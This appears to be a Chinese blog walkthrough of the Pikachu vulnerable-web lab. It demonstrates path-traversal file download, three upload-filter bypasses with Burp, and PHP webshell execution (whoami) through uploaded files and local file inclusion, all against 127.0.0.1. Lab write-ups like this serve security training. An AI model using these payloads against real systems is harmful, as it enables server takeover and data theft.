pikachu 文件包含,上传,下载





随便复制一个下载链接,发现
http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=lmx.png
不是根据路径下载,而是通过传参下载图片。
于是照常构造payload
http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../../../../../flag
访问此链接,发现开始下载flag文件,任意文件下载漏洞产生。


二、文件上传

1.client check
所以我们首先要判断是前端验证还是后端验证,利用审查元素来判断。

跟踪此函数,得到前端js校验代码
function checkFileExt(filename)
{
var flag = false; //状态
var arr = ["jpg","png","gif"];
//取出上传文件的扩展名
var index = filename.lastIndexOf(".");
var ext = filename.substr(index+);
//比较
for(var i=;i<arr.length;i++)
{
if(ext == arr[i])
{
flag = true; //一旦找到合适的,立即退出循环
break;
}
}
//条件判断
if(!flag)
{
alert("上传的文件不符合要求,请重新选择!");
location.reload(true);
}
}
所以此文件上传过滤可以利用burp来修改,我们先选择gif后缀的php一句话木马文件

点击上传,利用burp拦截数据包

修改filename为S4tan.php点击forward

上传成功,路径为uploads/S4tan.php
所以我们构造payload直接执行命令
http://127.0.0.1/pikachu/vul/unsafeupload/uploads/S4tan.php?S4tan=whoami
查看返回结果

执行命令成功,getsgell
2.MIME type
同上,但是这次通过查看审查元素,没有发现有前端验证,然后根据测试发现只能传图片文件,但没有检测文件名。

点击上传。

//只通过判断Content-Type: 字段来确定文件类型
//修改filename即可
Content-Disposition: form-data; name="uploadfile"; filename="S4tan.php"
Content-Type: image/jpeg
发现PHP文件上传成功

上传路径为
http://127.0.0.1/pikachu/vul/unsafeupload/uploads/S4tan.php
同上,payload为
http://127.0.0.1/pikachu/vul/unsafeupload/uploads/S4tan.php?S4tan=whoami

3.getimagesize
同上,经过判定无前端验证,提交一句话测试。


发现服务器判定文件为假图片,根据此漏洞名可以判定为,此上传过滤依靠文件大小进行判定,将一句话木马拼接在图片后面。

生成了一个图片马
然后上传发现,修改filename来绕过后端检查失败

可以判定为白名单,只能使用00截断试一试

发现没用,服务器端将你上传的文件进行重命名了,所以要想此文件被解析成php文件,我们只能利用文件包含漏洞去包含图片马。
利用之前文件包含漏洞的payload去包含此图片马,构造payload
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2019/12/18/2995075df98e5321bfa031351942.jpg&submit=%E6%8F%90%E4%BA%A4
执行whoami

发现执行成功。
pikachu 文件包含,上传,下载的更多相关文章
- 在Window的IIS中创建FTP的Site并用C#进行文件的上传下载
文件传输协议 (FTP) 是一个标准协议,可用来通过 Internet 将文件从一台计算机移到另一台计算机. 这些文件存储在运行 FTP 服务器软件的服务器计算机上. 然后,远程计算机可以使用 FTP ...
- 创建FTP的Site并用C#进行文件的上传下载
创建FTP的Site并用C#进行文件的上传下载 文件传输协议 (FTP) 是一个标准协议,可用来通过 Internet 将文件从一台计算机移到另一台计算机. 这些文件存储在运行 FTP 服务器软件的服 ...
- linux链接及文件互相上传下载
若排版紊乱可查看我的个人博客原文地址 基本操作 本篇博客主要介绍如何去链接远程的linux主机及如何实现本地与远程主机之间文件的上传下载操作,下面的linux系统是CentOS6.6 链接远程linu ...
- Spring实现文件的上传下载
背景:之前一直做的是数据库的增删改查工作,对于文件的上传下载比较排斥,今天研究了下具体的实现,发现其实是很简单.此处不仅要实现单文件的上传,还要实现多文件的上传. 单文件的下载知道了,多文件的下载呢? ...
- SocketIo+SpringMvc实现文件的上传下载
SocketIo+SpringMvc实现文件的上传下载 socketIo不仅可以用来做聊天工具,也可以实现局域网(当然你如果有外网也可用外网)内实现文件的上传和下载,下面是代码的效果演示: GIT地址 ...
- JAVAWEB之文件的上传下载
文件上传下载 文件上传: 本篇文章使用的文件上传的例子使用的都是原生技术,servelt+jdbc+fileupload插件,这也是笔者的习惯,当接触到某些从未接触过的东西时,总是喜欢用最原始的东西将 ...
- SSM框架之中如何进行文件的上传下载
SSM框架的整合请看我之前的博客:http://www.cnblogs.com/1314wamm/p/6834266.html 现在我们先看如何编写文件的上传下载:你先看你的pom.xml中是否有文件 ...
- python使用ftplib模块实现FTP文件的上传下载
python已经默认安装了ftplib模块,用其中的FTP类可以实现FTP文件的上传下载 FTP文件上传下载 # coding:utf8 from ftplib import FTP def uplo ...
- php文件夹上传下载控件分享
用过浏览器的开发人员都对大文件上传与下载比较困扰,之前遇到了一个php文件夹上传下载的问题,无奈之下自己开发了一套文件上传控件,在这里分享一下.希望能对你有所帮助. 以下是实例的部分脚本文件 这里我先 ...
- 使用Fileupload完成文件的上传下载
目录 使用Fileupload完成文件的上传下载 为什么需要进行文件上传下载? 引入jar包 文件上传 注意事项 编写一个简单的文件上传jsp页面 编写Servlet Student类用于封装数据,后 ...
随机推荐
- 文件名工具类 MoFileNameUtil
文件名工具类 MoFileNameUtil MoFileNameUtil public class MoFileNameUtil { //不包含点号 public static String getF ...
- angular的Hash 模式和 HTML 5 模式
去除地址 # ,将{ provide: LocationStrategy, useClass: HashLocationStrategy }改为 { provide: LocationStrategy ...
- java 常见高级开发面试题 非算法等特定岗 一
基础1.List和Set区别 List:1.可以允许重复的对象. 2.可以插入多个null元素. 3.是一个有序容器,保持了每个元素的插入顺序,输出的顺序就是插入的顺序. 4.常用的实现类有 Arra ...
- BFS(四):搜索状态判重
在采用广度优先算法进行搜索时,一个需要重点注意的是在搜索过程中判重和去重.前面介绍的几个例子中,判重都较简单,如采用vis[]数组,若vis[i]==0,则i未访问过,i入队列:若vis[i]!=0, ...
- 针对.NET Core, Xamarin以及.NET的自动类型安全Rest库: Refit
本文大部分内容是针对Refit官网的翻译. 官网地址: https://github.com/reactiveui/refit Refit是一个类似于Retrofit的Restful Api库,使用它 ...
- python-6-for循环及format三种用法
前言 循环我们前面讲过了无限循环,那么for循环属于什么循环呢?显然就是有限循环: 另外格式化输出我们前面也讲过,但是format也能做到不一样的格式化输出.一起看看吧! 一.for 循环 1.fro ...
- 转载-用excel批量生成insert语句
用excel批量生成insert语句 版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接:https://blog.csdn.net/h ...
- D3力布图绘制--节点跑掉,单曲线弯曲问题记录
D3力布图绘制中遇到的交互问题,频繁操作数据后,会出现节点跑掉和单曲线弯曲的问题 问题描述 在id指向都正常的情况下出现以下2种状况: 单曲线弯曲 节点跑掉 经排查,是数据重复导致的问题 线条也是一样 ...
- 【linux】glibc升级
glibc升级 步骤如下: 1.下载解压glibc wget http://ftp.gnu.org/gnu/glibc/glibc-2.18.tar.gz tar zxvf glibc-2.18.ta ...
- ThinkPHP框架获取上一条插入语句产生的id
今天在fastAdmin框架想搞一个拖动进行排序的功能 遇到一个问题是权重的字段值一样的话拖动会出bug,所以想让权重字段(weigh)的值等于当前id的值, 搜索看到的方法如下 实际应用的地方,是写 ...